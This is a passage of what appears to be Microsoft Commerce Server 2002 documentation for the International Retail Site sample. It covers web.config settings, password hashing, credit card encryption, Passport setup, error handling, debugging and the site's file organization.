             type="Advertising|Discounts|Tax|Shipping|Custom"
             loaderProgId="progid"
             writerProgId="progid"
             cacheObjectProgId=”progid”
             refreshInterval="0"
             retryInterval="60"
             maxSize=”10”>
             <config key="key" value="value" />
      </cache>
</caches>


Site Configuration

The configuration of the International Retail Site is primarily controlled by two files—the Styles.ccs file and the web.config file. The site is also affected by the App Default Config resource and by Commerce Server Business Desk.

This section contains:

  • Styles.css File. This file controls the appearance of the site.
  • Web.config File. This file controls the configuration of the site.
  • App Default Config Resource. Describes settings in the App Default Config resource that affect the site.
  • Business Desk Configuration. Describes configuration settings managed through Business Desk that affect the site.
  • Enabling Credit Card Number Encryption. Describes the necessary steps to enable the credit card encryption feature.


Styles.css File

The Styles.css file is the cascading style sheet for the entire site. It controls the display properties for all the user interface elements in the site. It lists font, color, and image attributes for HTML tags and controls. It also contains the attributes for the style classes used in the HTML of the .aspx and .ascx files.

You can control the appearance of any design element throughout the site by modifying this file.

See Also

Web.config File


Web.config File

The Web.config file is an XML file that describes and controls the configuration of the application. This file is automatically generated when the site is unpacked. You should use caution when making changes to this file. Some changes can cause certain site features to fail. See Configuration Services for general information about modifying this file.

The web.config file is divided into the following sections:

  • ConfigSections Configuration Section. This section is used to connect the configuration handler code to the other sections of the file. It should not be modified unless you have added a new section and handler. See the ASP.NET documentation at http://go.microsoft.com/fwlink/?LinkId=6680 for information about configuring this section.
  • CommerceServer Configuration Section. This section is used to configure the Commerce Server .NET Application Framework.
  • CommerceServerSite Configuration Section.This section contains a variety of run time parameters that can be changed by developers and site administrators. You also use this section to add new run time properties to enhance the configurability of the site.
  • System.Web Configuration Section. This section configures authentication, file level authorization, error display, and is used to set the site to Debug mode.


CommerceServer Configuration Section

Use this section to configure the Commerce Server .NET Application Framework.

Application Configuration

Example:

<application siteName="Retail2002" debugLevel="Debug"/>
Set debugLevel to "Checked", "Debug", or "Production". Because the "Checked" and "Debug" settings cause the application to run slower than normal, you should only use these values when debugging the application.

Authentication Configuration

Example:

<authentication ticketTimeOut="30" detectCookies="true"/>
Set the ticketTimeOut to the appropriate timeout value for authentication tickets issued for the application. Set detectCookies to true if you want to enable a cookie to the URL-mode fallback authentication scheme.

Pipeline Configuration

Example:

<pipeline

name="product"

path="pipelines\product.pcf"

transacted="false"

type="OrderPipeline"

loggingEnabled="false" />

Configuration parameters:
name
The string you want to use when referencing the pipeline in your application.
path
The relative path of the pipeline configuration file (.pcf) that corresponds to the pipeline you want to run when referencing the pipeline in your application.
transacted
Set transacted to false to disable COM+ transactions when running your pipeline.
type
The type should be set to either "OrderPipeline" or "CSFPipeline" depending if you intend to use the pipeline for processing orders or displaying ads.
loggingEnabled
Set to true to enable pipeline logging. The log file will be created in the "pipelines\log" directory of your application. Logging causes the application to run slower than normal,therefore, it should only be enabled during debugging.

Cache Configuration

Use this section to configure Commerce Server 2002 caches.

Example:

<cache name="Advertising" type="Advertising" refreshInterval="300" retryInterval="60"/>

<cache name="QueryCatalogInfoCache" type="QCI" loaderProgId="Commerce.LRUCacheFlush" refreshInterval="0" retryInterval="300" maxSize="10000">

<config key="TableName" value="CatalogCache_Virtual_Directory"/>

</cache>

Parameters vary with the type of cache; see Cache Objects for more information about configuring a cache.

Configuration parameters:
Name
The string used when referencing the cache. Certain caches must have specific names when using the default Advertising, Discounting, and QueryCatalogInfo pipeline components. These names are Advertising, Discount, and QueryCatalogInfoCache, respectively.
RefreshInterval
How long the cache remains in memory before being refreshed, in seconds.
RetryInterval
How long the CacheManager object waits to retry a call to the cache loader after a failure, in seconds.
MaxSize
The maximum number of entries to store in the cache.

Message Manager Configuration

Use this section to configure string resources that are extracted into the MessageManager object.

The cultures element lists the cultures supported by the site. You add a new culture ID tag to add a new culture to the site. Cultures are specified by their RFC 1766 identifier. Set the default attribute to the identifier of the default culture used by the application. The baseName attribute specifies the root name of the resources used in your application. For example, when using a satellite assembly named "MyResources.en-US.resources", the root name is "MyResources." The assembly attribute is used to specify the name of the assembly containing the default resources; either the executing application or the name of a satellite assembly.

Content Selection Configuration

Use this section to configure the Content Selection Framework and pipelines for ads and discounts.

Catalog Configuration

Use this section to specify the default catalog sets.

Orders Configuration

Use this section to configure an addressMap used for displaying user addresses.

commerceEvent Configuration

Use this section to configure event logging. You add an add tag in this section for each event that you want to log.


CommerceServerSite Configuration Section

Use this section to configure site properties and document security. You also use this section to configure links for user navigation and user preference.

SiteConfiguration

The following properties are set in this section:

EnableApplicationErrorHandler
If true, the application error handler is enabled.
DisablePassport
If true, the Passport service is disabled on the site.
SupportInlineSignIn
If true the Passport inline sign-in feature is enabled. This feature is not supported on the site.
MinimumUsernameLength
An Int32 specifying the minimum length for a user name.
MaximumUsernameLength
An Int32 specifying the maximum length for a user name. The maximum value is 256.
InvalidUsernameCharacters
A string that contains invalid characters for user names.
MinimumEmailLength
An Int32 specifying the minimum length for an e-mail name.
MaximumEmailLength
An Int32 specifying the maximum length for an e-mail name.
MinimumPasswordLength
An Int32 specifying the minimum length for a password.
MaximumPasswordLength
An Int32 specifying the maximum length for a password.
MaxLineitemsInBasket
An Int32 specifying the maximum number of items that can be placed in a cart. This is set at 100 as a security feature.
InvalidPasswordCharacters
A string containing characters that are invalid for a password. The default is "<>&" ?*|:=+;.,)(#[]/^"
InvalidTextBoxCharacters
A string containing characters that are invalid in a text box. The file AgoraSecurity.wsf validates all text box entries against this string. This is a security feature to prevent entering an executable string in a text box. The default is "<>&"?*|=+;%)([]\/^"

DocumentSecurity

This section provides a list of the secure documents that must be either accessed over a secure HTTPS channel or that require authentication or both. Use this section to set up the default behavior. The actual behavior can be overridden at run time by the site code.

UserNavigation

Use this section to configure site-generated links for user navigation.

SitePreferences

Use this section to configure the site-generated link for user locale selection.


System.Web Configuration Section

Use this section to configure authentication, file level authorization, error display, and to set the site to Debug mode.

Compilation Configuration

The default configuration is:

<compilation defaultLanguage="vb" debug="true">

Set debug="true" to insert debugging symbols (.pdb information) into the compiled page. Since this creates a larger file that runs more slowly, you should set this value to true only when debugging and to false at all other times.

CustomErrors Configuration

The default configuration is:

<customErrors mode="RemoteOnly" defaultRedirect="Customerror.aspx">
  <error statusCode="404" redirect="Notfound.aspx" />
</customErrors>

If mode is set to Off, custom error messages will be disabled. Users will receive detailed exception error messages.

If mode is set to On, custom error messages will be enabled.

If mode is set to RemoteOnly, then users will receive custom errors, but users accessing the site locally will receive detailed error messages.

Add an <error> tag for each error you want to handle. The error tag will redirect the user to the Notfound.aspx page when the site returns the 404 (Page not found) error.

Authentication Configuration

Use this section to set the authentication policies of the application. Possible modes are:

  • Windows
  • Forms
  • Passport
  • None

Authorization Configuration

Use this section to control user access to the application.

Examples:

<allow users="*" />   Allow all users
<allow  users="[comma separated list of users]" roles="[comma separated list of roles]"/>
<deny   users="[comma separated list of users]" roles="[comma separated list of roles]"/>

Globalization Configuration

Use this section to set the globalization settings of the application.

Example:

  <globalization requestEncoding="utf-8" responseEncoding="utf-8" />


App Default Config Resource

The App Default Config resource contains properties that affect the functionality of the International Retail Site and Commerce Server Business Desk.

For general information about configuring the App Default Config resource, see Configuring the App Default Config Resource. For information about configuring App Default Config to use BizTalk Server, see Configuring Commerce Server to Work with BizTalk Server.

The site does not respond to all of the App Default Config properties. You use the App Default Config resource to configure base currency properties for the site.

The user will always be redirected to the cart page after adding an item to the cart regardless of the setting of the Add item redirect options property.


Business Desk Configuration

Commerce Server Business Desk is used for day-to-day management of the site. For example, you use it to manage catalogs and ad campaigns.

Configuring Business Desk Security

The International Retail site will secure password and credit card data. It uses a one-way hash for passwords and public key encryption for credit card data. Credit card encryption is optional, but only because it requires manual site configuration to enable. Password encryption is required on the site; it cannot be disabled. Business Desk does not encrypt passwords by default. If you create a user in Business Desk without configuring Business Desk to encrypt passwords, the user will not be able to log onto the site.

Perform the following steps using Business Desk to enable the hashing of a user's password:

  1. In Business Desk, click Profiles, and then click Profile Definition Designer.
  2. In Profiles, select the UserObject profile, and then click Open.
  3. In Profile Definition Designer screen, Properties list, double-click General Information, and then select the User Password property by clicking it.
  4. Expand the Advanced Attributes section of the Profile Definition Designer screen.
  5. Select "One way hash" from the dropdown for the Encrypted property.

Configuring weight-based shipping methods

When entering shipping methods in Business Desk, you must use only methods that have their corresponding unit of measure in the loaded catalogs. Every cart contains a quantity, so using quantity-based shipping methods will always work. The default AdventureWorks catalog does not contain a weight property for catalog products. Weight-based shipping methods will fail with this catalog.

See Also

Enabling Credit Card Number Encryption


Enabling Credit Card Number Encryption

The credit card encryption feature for the International Retail Site is disabled by default. Several manual configuration steps are required to enable the feature.

Perform the following steps using Commerce Server Business Desk to enable the encryption of credit card numbers.

  1. Modify the credit card profile.
    1. In Business Desk, click Profiles, and then click Profile Definition Designer.
    2. In Profiles, select the Credit Card profile, and then click Open.
    3. In Profile Definition Designer, Properties list, double-click General Information, and then select the Credit Card Number property by clicking on it.
    4. Expand the Advanced Attributes section by clicking on it.
    5. Select "Asymmetric Encryption" from the dropdown for the Encrypted property.
    6. Restart IIS. See Restarting IIS and Commerce Server Services for more information.
  2. Run the Microsoft Commerce Server 2002 Cryptographic Key Generator tool to generate a public/private key pair. For information about running the tool, see Generating Public and Private Keys.
  3. Add publicKey value, generated in step 2, to the web.config file under the profiles/encryption/keys section. See How to modify the application so that it supplies tokens used in encryption by the Commerce Server OLEDB provider and by the Profile Service for details about adding this section and the publicKey value.
  4. Add the private key value to the appropriate location as needed to enable your credit card verification system. See Security Features in the International Retail Site for more information.
  5. If you intend to modify credit card profiles through Business Desk, you must modify the Profile Service connection strings in three methods to support the new public key obtained in previous step. The modification consists of adding the publicKey and the keyIndex parameters to the connection strings. See How to modify the application so that it supplies tokens used in encryption by the Commerce Server OLEDB provider and by the Profile Service for details about this modification. This modification is not required to retrieve or view credit card profiles. The following table lists the methods that must be modified.
    Method | File Name
    sGetProviderConnStr | CommonXmlRoutines.asp
    RefreshProviderConnection | RefreshProfileSvcAll.asp
    cnGetProviderConnection | Global.asa

See Also

Managing Encrypted Profile Properties.


Authentication Infrastructure

The International Retail Site provides support for user authentication using user supplied passwords. This password is secured using a hashing scheme described in Security Features in the International Retail Site. The user password may also be provided by Microsoft Passport, as described in Passport Integration Features.

This section contains:

  • Enabling Passport. Provides specific instructions to enable Microsoft Passport on your site.


Enabling Passport

The International Retail site will display the Microsoft Passport login if it detects that the Passport service is installed and correctly configured on the site.

You can install Passport using the following steps:

  1. Open Internet Explorer and browse to http://go.microsoft.com/fwlink/?LinkId=6740.
  2. Download and install the Passport SDK (2.0+), and follow the online instructions to complete the licensing process.
  3. After you have completed the licensing process, you will receive an e-mail notification that contains your site id and the Passport Key Installer executable file, which contains the key for your site.
  4. Using the Passport Administration Utility from the Passport SDK, change the site ID and commit your changes.
  5. Run the Passport Key Installer executable file. The Passport Key Installer contains a number of command line parameters, including the following:
    • /addKey [/m machineName] [/s siteName]
    • /makeCurrent /t oldKeyValidTime [/m machineName] [/s siteName]
    • /showCurrent [/m machineName] [/s siteName]
    • /expire [/m machineName] [/s siteName]

    If, for example, your executable is named partner21273_2.exe:

    Type partner21273_2 /addKey /m <server>, replacing <server> with the name of the computer on which you are installing the key.

  6. Verify that Passport was successfully configured. You can either open the Passport example from the SDK or go to login.aspx page on the International Retail Site and verify that the Passport Sign-in link appears.

    Note

    • If Passport is improperly configured, the passport Sign-in link will not appear on the site. Check the Event Viewer for the following error message:

      Passport Manager is mis-configured: Error reading Passport crypto keys from registry.

More information about Microsoft Passport, including the Passport SDK and sample site code, can be found at http://go.microsoft.com/fwlink/?LinkId=6740.

See Also

Integrating with Passport


Error Handling

This section describes errors that originate in the International Retail Site application. Errors originating in Internet Information Services (IIS) and deployment errors are not described.

When an error occurs on a page, ASP.NET sends information about the error to the ASP.NET client application. Errors are divided into the following categories:

  • Configuration errors

    Occur when the syntax or structure of the web.config file in the configuration hierarchy is incorrect. This includes Commerce Server 2002 run time configuration exceptions.

  • Global.asax errors

    Occur when an error happens when compiling or running the Global.asax file. The application level error handling described in this section traps run time errors in the Global.asax file. Compilation errors in the Global.asa file are not trapped.

  • Parser errors

    Occur when the ASP.NET syntax on a page is malformed.

  • Compilation errors

    Occur when statements in a target language for the page are incorrect.

  • Run-time errors

    Occur during page execution, even though the errors could not be detected at compile time.

Since the International Retail Site is shipped with a valid web.config file, configuration and Global.asax errors are unlikely to happen until the site has been customized by the user.

Parser, compilation, and run-time errors can be trapped.

This section contains:

  • Application Level Error Handling
  • Exception Handling Guidelines and Best Practices
  • Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects


Application Level Error Handling

Web.config settings

The web.config file contains a <customErrors> tag to apply generic exception handling and to specify redirection to an error page:

<customErrors defaultredirect="/error/SiteError.aspx" mode="on">
 <error statuscode="404" redirect="/error/filenotfound.aspx" />
</customErrors>

As shown in the preceeding code, SiteError.aspx is the default redirect page for site errors not trapped by the application code in all conditions. In development servers, users can set the mode setting to "Off" or "RemoteOnly" to see the full default ASP.NET error message. Setting this to "RemoteOnly" will show the ASP.NET error message on the server, but will show the default redirect page on a remote client.

Although most of these error page settings are also available with IIS, using the Web configuration method allows for easier deployment of the site onto many computers. However, users should also configure the IIS metabase for these error conditions to redirect to the appropriate error page. Also web.config settings will only apply for ASP.NET files (.aspx, .asmx, .ascx, and not .htm or .asp files).

If the <customErrors> tag is missing in the web.config file, ASP.NET errors are redirected to a generic server error page, and the following message is displayed:

An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed.

Implementation

ASP.NET sends minimal information to a page when an error occurs. A Get method is sent to this page with the query string key "ErrorPage" with the virtual path to the page in which the error occurs. The user interface section of this page uses culture-neutral content to display error information to the user.

Exception Handling

In the Global.asax file, error events at the application level are handled by the event Application_Error, which writes the available information to the event log file. Depending on the customErrors setting in the web.config file the appropriate error page will be displayed.

Page Level Error Handling

@Page directive:

Since the web.config file will be configured to redirect to an error page for unhandled errors, @Page ErrorPage = 'xyz.aspx' should not be used in the application.

Page_Error Event Handling

Implementing the Page_Error event handler in individual feature pages of the site is not recommended. This is because the Page_Error event handler requires a full implementation to render the page completely by itself. Since the web.config file is already configured to show a custom error page it is best to make use of it. The Page_Error event handler should be implemented only when it is required to free up page resources and even then it should not call Server.ClearError so that exception will remain unhandled and will allow ASP.NET to redirect to the Application_Error event handler and to the default error redirect page.

The Page_Error event handler should be implemented only in pages where system errors might occur (for example, the Checkout page because it is running a pipeline), and it is recommended that the Page_Error event handler write the error message to the event log and keep the exception alive so that user will be redirected to the custom error page.

Note

  • Server.GetLastError can be used to obtain a reference to the unhandled exception object.
  • Server.ClearError is used only when propagation of the exception is to be stopped.


Exception Handling Guidelines and Best Practices

Do not rely on exceptions in your code. Since exceptions cause performance to suffer significantly, you should never use them as a way to control normal program flow. If it is possible to detect in code a condition that would cause an exception, do so. Do not catch the exception itself before you handle that condition. Common scenarios include checking for null, assigning a value to a string that will be parsed into a numeric value, or checking for specific values before applying math operations. The following example demonstrates code that could cause an exception and code that tests for a condition. Both produce the same result:

' Consider changing this...
Try
  result = 100 / num
Catch (e As Exception)
 result = 0
End Try
// To this...
If Not (num = 0)
  result = 100 / num
Else
 result = 0
End If

However, always use a try-catch-finally block to handle all foreseeable errors (pipeline errors, property not set errors, and so on) so that page rendering is not affected.

If such errors are not handled using a try-catch-finally block, and are left to the Page_Error, Application_Error, or <customerror> handlers in ASP.NET, these handlers cannot render the requested page and will have to redirect the user to a specific error page that may indicate that the requested page is unavailable.

For more information about best practices for error handling, see "Best Practices for Handling Exceptions" in the .NET Framework documentation at The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.

See Also

Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects


Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects

All calls to Commerce Server 2002 BCL objects will throw an exception if any error occurs. These errors could be of these types "CommerceException", or an exception derived from the System.Exception class.

It is recommended to call the Base Class Library (BCL) run time using a try-catch-finally block in the following manner:

  1. Gracefully handle specific exceptions of the BCL API calls used (for example ProductNotFoundException). By handling these exceptions the user will able get a graceful error message. The exception will not be rethrown.
  2. If the codepath expects to handle gracefully any other specific exceptions (for example, ArgumentNullException) it may use additional catch blocks to handle them. This will make certain that the error will not be passed to higher level event handlers that might interrupt the display of the page.
  3. If the exception is not handled as above, a general catch statement may be used to catch all other exceptions. You should then throw a new exception with the inner exception property set.

See Also

Exception Handling Guidelines and Best Practices


Tips for Developing Your Site

This section provides some tips for developing a site based on the International Retail Site. The International Retail Site is a sample site that demonstrates .NET Framework technology and best practices in implementing that technology. The site has implemented important security features, but you must thoroughly review and understand them to be sure that they meet all of your security requirements. Ultimately, you are responsible for the security of your site.

This section contains:

  • Page Authoring. Explains how a site developer can change the appearance of the International Retail Site.
  • Source Code Roadmap. Describes the various projects that make up the International Retail Site, and provides information to help you find the source code that you want to examine.
  • Adding a Language to the Site. Describes how to add a language to the International Retail Site.
  • Debugging the Site. Describes how to begin debugging the site using Visual Studio .NET.

See Also

Developing a Secure Site

Security Checklist


Page Authoring

A page in the International Retail Site is a combination of an .aspx page and a codebehind page, either an .aspx.vb page or an .aspx.cs page. The .aspx page contains the user interface, and the codebehind page contains the functionality. The user interface in the .aspx page is defined by a combination of HTML and included Web controls. This separates the design and appearance from the functionality of the site. It also clearly separates the authoring between design and development. A site developer can change the design and functionality of a page by adding or removing controls and modifying the HTML. A site developer can change the appearance by changing images and styles. If no new functionality is required, adding a new page can be simple.

Changing the Appearance of the Site

Site Navigation Framework

Changing the Appearance of the Site

The International Retail Site supports "skins". In other words, the appearance of the site can be changed through a collection of graphics files and a cascading style sheet (.css) file.

The basic structure of the pages in the site is a collection of tables. By using a group of cells to represent a design element it is possible to simulate non-rectangular objects on the screen and still have text in those objects that can be controlled through code.

For example, the following table structure can be used to represent a box with rounded corners.

Element Table Structure

The peripheral cells contain the graphic element for a corner or a side of the box, and possibly a background color. The central cell contains the background color and text. Since the text can be from a localized string resource, the graphics do not need to be localized. Also, the text can be changed under programmatic control as needed, and the .css file can control the appearance.

This design principle has been applied to the entire site. For example, the following figure shows a schematic view of the main page for the International Retail Site.

Main Page Schematic

With the "skin" applied, it looks like this:

Retail2002 Main Page With Skin

Site Navigation Framework

A well-designed site is structured so that a user can easily understand it. As you add features to your site you will need to consider how to make them discoverable and easy to use.

The following figure shows the International Retail Site navigational framework.

Retail2002 Site Navigation Framework


Source Code Roadmap

This topic describes the various projects that make up the International Retail Site, and provides information to help you find the site source code that you want to examine.

Using the Visual Studio solution file in the site, you can browse the entire site and source code from within Visual Studio. See Setting up the International Retail Site with Visual Studio .NET for information about opening the solution file.

There are ten projects in the International Retail Site. Most of the projects are for related groups of controls. See Control Reference for descriptions of the controls.

The projects are:

  • Account Management Controls. This project contains controls used for displaying and editing user information.
  • Authentication Controls. This project contains the signin and SignInLink controls, used for sign in and sign out functionality.
  • Campaign Controls. This project contains the ContentItemControl control, used for ads and discounts.
  • Catalogs CS Controls. This project contains the VariantDisplay control, used for the selection of product variants.
  • Catalogs VB Controls. This project contains all the catalog controls except for the VariantDisplay control. These controls are used for finding and displaying product information.
  • Components. This project contains the source code for the compiled assemblies.
  • Constants. This project contains the Strings.vb file that defines the constants for the solution.
  • Miscellaneous Controls. This project contains the controls for the site as a whole, such as header and composite controls that are used to simplify building a page.
  • Retail2002. This is the primary project. It contains all the .aspx pages, the associated codebehind pages, and site configuration files.
  • Transaction Controls. This project contains controls used for cart and checkout functionality.

You use the Solution Explorer in Visual Studio to view all of the source code in the solution. To view the codebehind for any .aspx or .ascx files, right-click the file name, and then click View Source.

You use the ObjectBrowser in Visual Studio to view all the methods and properties relating to the objects in the solution.


Adding a Language to the Site

When you add a language to the site you will need to perform a few separate tasks. You will need to add a localized resource assembly for all the text strings on the site. You will need to extend the locale selection page so that a user can select the additional language. If your site contains images with text, such as the CompanyLogo.jpg file, you will need to create localized versions of those files. For more information about localized images, see Retail2002\Images Folder. Adding a language to a catalog is done through Commerce Server Business Desk, and is distinct from the site languages. For more information about managing languages in a catalog, see Creating a Multilingual Catalog.

The following procedure describes how to extend the locale selection page and add localized string resources to the site.

To add a new language to the International Retail Site

  1. Add an image for new language or culture to the Retail2002\Images folder. The image file should be the same size as the existing welcome images.
  2. Add an asp:LinkButton Web server control to the LocaleSelection Control.
  3. Modify the styles.css file to support the new asp:LinkButton Web server control and image.
  4. Add the localized satellite resource assembly.
  5. Add a reference to the satellite assembly to the MessageManager, Cultures section in the web.config file.


Debugging the Site

The Visual Studio .NET debugger has the ability to attach to a program that is running in a process outside of Visual Studio .NET. You can use this attachment capability to debug a program running on a remote computer. Whether debugging on a remote or local computer, you must attach Visual Studio to the ASP.NET process to debug the site.

To enable debugging on the International Retail Site

  • Verify that the site is in debug mode. The application element in the web.config file should be: <application siteName="Retail2002" debugLevel="Debug"/>

To attach the Visual Studio debugger to the site

  1. Open Internet Explorer.
  2. In Internet Explorer, in the Address box, type the URL for the site, and then press Enter.
  3. Start Visual Studio .NET.
  4. In Visual Studio .NET, on the Tools menu, click Debug Processes.
  5. In the Process dialog box, if necessary, click the [...] ellipses button to browse to the remote server.
  6. In the Available Processes list, select aspnet_wp.exe, and then click Attach.

Note

  • The source code must be available on the local computer in order to debug the site code.

For more information about debugging ASP.NET Web applications, see "Debugging ASP.NET Web Applications" in Visual Studio Help.


International Retail Site Reference

This section provides reference information for the International Retail site.

This section Contains:

File Organization. Describes the file structure of the International Retail site and the B2B web service.

Control Reference. Describes the controls in the site.


File Organization

This section documents the file structure of the International Retail Site. The main Web page files are in the root folder of the site and supporting page files are in subfolders.

This section contains:

  • Retail2002 Root Folder. This folder contains the user interface/markup and codebehind files, configuration files, and Visual Studio .NET solution and project files.
  • Retail2002\AuthFiles Folder. This folder contains ASP files used for user authorization.
  • Retail2002\Bin Folder . This folder contains compiled assemblies and localized resources.
  • Retail2002\Components Folder. This folder contains source code for the components.
  • Retail2002\Controls Folder. This folder contains the .ascx and codebehind files for the controls and Visual Studio .NET project files.
  • Retail2002\Images Folder. This folder contains images of user interface elements and the Styles.css file that controls site appearance.
  • Retail2002\Pipelines Folder. This folder contains the pipeline configuration files.
  • Retail2002\Resources Folder. This folder contains string resource files.
  • Retail2002B2B Root Folder. This folder contains files for the business-to-business (B2B) Web service.


Retail2002 Root Folder

This folder contains the user interface/markup (.aspx) files and their associated codebehind files. It also contains configuration files and the Visual Studio .NET solution and project files.

The following table lists the files contained in the Retail2002 Root folder.

File | Description
AdvancedSearch.aspx | Web form.
AdvancedSearch.aspx.vb | Visual Basic Source.
AssemblyInfo.vb | Visual Basic Source.
Basket.aspx | Web form.
Basket.aspx.vb | Visual Basic Source.
BasketMerger.vb | Visual Basic Source.
BDRefresh.asp | Active Server Page file. Business Desk Refresh page.
BDRefresh.aspx | Web form. Business Desk Refresh form.
BDRefresh.aspx.vb | Visual Basic Source.
Catalog.aspx | Web form.
Catalog.aspx.vb | Visual Basic Source.
CatalogBase.vb | Visual Basic Source.
Category.aspx | Web form.
Category.aspx.vb | Visual Basic Source.
Checkout.aspx | Web form.
Checkout.aspx.vb | Visual Basic Source.
csapp.ini | Configuration settings.
Customerror.aspx | Web form.
Customerror.aspx.vb | Visual Basic Source.
Default.aspx | Default Web form.
Default.aspx.vb | Visual Basic Source.
EditAddress.aspx | Web form.
EditAddress.aspx.vb | Visual Basic Source.
global.asax | Active Server Application File. Site configuration and initialization.
global.asax.vb | Visual Basic Source.
LocaleSelection.aspx | Web form.
LocaleSelection.aspx.vb | Visual Basic Source.
Login.aspx | Web form.
Login.aspx.vb | Visual Basic Source.
Logout.aspx | Web form.
Logout.aspx.vb | Visual Basic Source.
ManageAddresses.aspx | Web form.
ManageAddresses.aspx.vb | Visual Basic Source.
MultipleShiptoSelect.aspx | Web form.
MultipleShiptoSelect.aspx.vb | Visual Basic Source.
MyAccount.aspx | Web form.
MyAccount.aspx.vb | Visual Basic Source.
NewAccount.aspx | Web form.
NewAccount.aspx.vb | Visual Basic Source.
NewAddress.aspx | Web form.
NewAddress.aspx.vb | Visual Basic Source.
Notfound.aspx | Web form.
Notfound.aspx.vb | Visual Basic Source.
PaymentOption.aspx | Web form.
PaymentOption.aspx.vb | Visual Basic Source.
PaymentSelect.aspx | Web form.
PaymentSelect.aspx.vb | Visual Basic Source.
ProductDetails.aspx | Web form.
ProductDetails.aspx.vb | Visual Basic Source.
ProjectResources.en-US.resx | .NET XML Resource Template.
ProjectResources.resx | .NET XML Resource Template.
Receipt.aspx | Web form.
Receipt.aspx.vb | Visual Basic Source.
Redir.aspx | Web form.
Redir.aspx.vb | Visual Basic Source.
RefreshApp.asp | Active Server Page file.
RefreshApp.aspx | Web form.
RefreshApp.aspx.vb | Visual Basic Source.
Retail2002.sln | Visual Studio Solution file
Retail2002.vbproj | Visual Basic .NET project file
Retail2002.vbproj.webinfo | Webinfo file.
SampleStaticTextPage.aspx | Web form.
SampleStaticTextPage.aspx.vb | Visual Basic Source.
SearchResults.aspx | Web form.
SearchResults.aspx.vb | Visual Basic Source.
web.config | Web configuration file.


Retail2002\AuthFiles Folder

This folder contains ASP files for user authentication. The following table lists the files contained in the AuthFiles folder.

File | Description
autocookie.asp | Active Server Page file.
error.asp | Active Server Page file.
help.asp | Active Server Page file.
interror.asp | Active Server Page file.
Login.asp | Active Server Page file.
nocookie.asp | Active Server Page file.


Retail2002\Bin Folder

This folder contains compiled assemblies and localized resources. It contains the following four subfolders for localized resources:

  • ja
  • fr
  • de
  • en-US

Each folder contains a localized version of the same file, Microsoft.CommerceServer.Retail2002.resources.dll.

The following table lists the files contained in the Bin folder.

File | Description
Microsoft.CommerceServer.Retail2002.Accounts.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Accounts.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Authentication.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Authentication.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Campaign.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Campaign.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Catalogs.cs.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Catalogs.cs.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Catalogs.vb.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Catalogs.vb.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Components.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Components.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Constants.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Constants.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Miscellaneous.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Miscellaneous.pdb | Program Debug Database.
Microsoft.CommerceServer.Retail2002.Transactions.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.Transactions.pdb | Program Debug Database.


Retail2002\Components Folder

This folder contains source code for the components and subfolders for the Visual Studio. NET project. The components provide business logic and application functionality, but not the user interface for the site.

The following table lists the files contained in the Components folder.

File | Description
Components.csproj | C# project file.
Components.csproj.user | Visual Studio Project User Options.
AssemblyInfo.cs | C# source file.
AccountManager.cs | C# source file.
Ado.cs | C# source file.
application.cs | C# source file.
CountryInfo.cs | C# source file.
CurrencyInfo.cs | C# source file.
DataWarehouseLogging.cs | C# source file.


Retail2002\Controls Folder

This folder contains source code for the controls used on the site. Related controls are grouped into projects. Each project is in a separate subfolder. Each Visual Studio project has typical project-related subfolders.

Retail2002\Controls\Accounts Folder

This subfolder contains the project files for the Accounts controls. The following table lists the files contained in this subfolder.

File | Description
Account Management Controls.csproj | C# project file.
Account Management Controls.csproj.user | Visual Studio Project User Options.
AssemblyInfo.cs | C# source file.
AccountLayout.cs | C# source file.
AddressEdit.ascx | Web User Control.
AddressEdit.ascx.cs | C# source file.
AddressView.ascx | Web User Control.
AddressView.ascx.cs | C# source file.
CountrySelector.ascx.cs | C# source file.
CreditCardedit.ascx | Web User Control.
CreditCardedit.ascx.cs | C# source file.
CreditCardList.ascx.cs | C# source file.
CreditCardSelector.ascx | Web User Control.
CreditCardSelector.ascx.cs | C# source file.
FrameControl.ascx.cs | C# source file.
MyAccount.ascx | Web User Control.
MyAccount.ascx.cs | C# source file.
Navigation.ascx | Web User Control.
Navigation.ascx.cs | C# source file.
NewAccount.ascx | Web User Control.
NewAccount.ascx.cs | C# source file.
StateSelector.ascx.cs | C# source file.
WelcomeUser.cs | C# source file.

Retail2002\Controls\Authentication Folder

This subfolder contains the project files for the Authentication controls. The following table lists the files contained in this subfolder.

File | Description
Authentication Controls.csproj | C# project file.
Authentication Controls.csproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
signin.ascx | Web User Control.
SignIn.ascx.cs | C# source file.
SignInLink.ascx | Web User Control.
SignInLink.ascx.cs | C# source file.

Retail2002\Controls\Campaign Folder

This subfolder contains the project files for the Campaign controls. The following table lists the files contained in this subfolder.

File | Description
Campaign Controls.vbproj | Visual Basic .NET project file.
Campaign Controls.vbproj.user | Visual Studio Project User Options.
assemblyinfo.vb | Visual Basic Source file.
ContentItem.vb | Visual Basic Source file.

Retail2002\Controls\Catalogs\cs Folder

This subfolder contains the C# project files for the Catalog VariantDisplay control. The following table lists the files contained in this subfolder.

File | Description
Catalogs CS Controls.csproj | C# project file.
Catalogs CS Controls.csproj.user | Visual Studio Project User Options.
VariantDisplay.ascx | Web User Control.
VariantDisplay.ascx.cs | C# source file.

Retail2002\Controls\Catalogs\vb Folder

This subfolder contains the Visual Basic .NET project files for the Catalog controls. The following table lists the files contained in this subfolder.

